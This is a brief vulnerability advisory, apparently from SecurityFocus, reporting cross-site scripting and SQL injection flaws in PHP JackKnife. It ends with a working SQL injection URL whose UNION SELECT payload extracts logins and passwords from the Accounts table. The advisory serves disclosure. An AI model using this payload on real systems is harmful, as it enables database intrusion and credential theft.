source: https://www.securityfocus.com/bid/24253/info
 
PHP JackKnife is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
http://www.example.com/PHPJK/Search/DisplayResults.php?DOMAIN_Link=&iSearchID=-1+UNION+SELECT+1,1,1,1,Login,1,Password,1,1,1,1,1,1,1+FROM+Accounts/*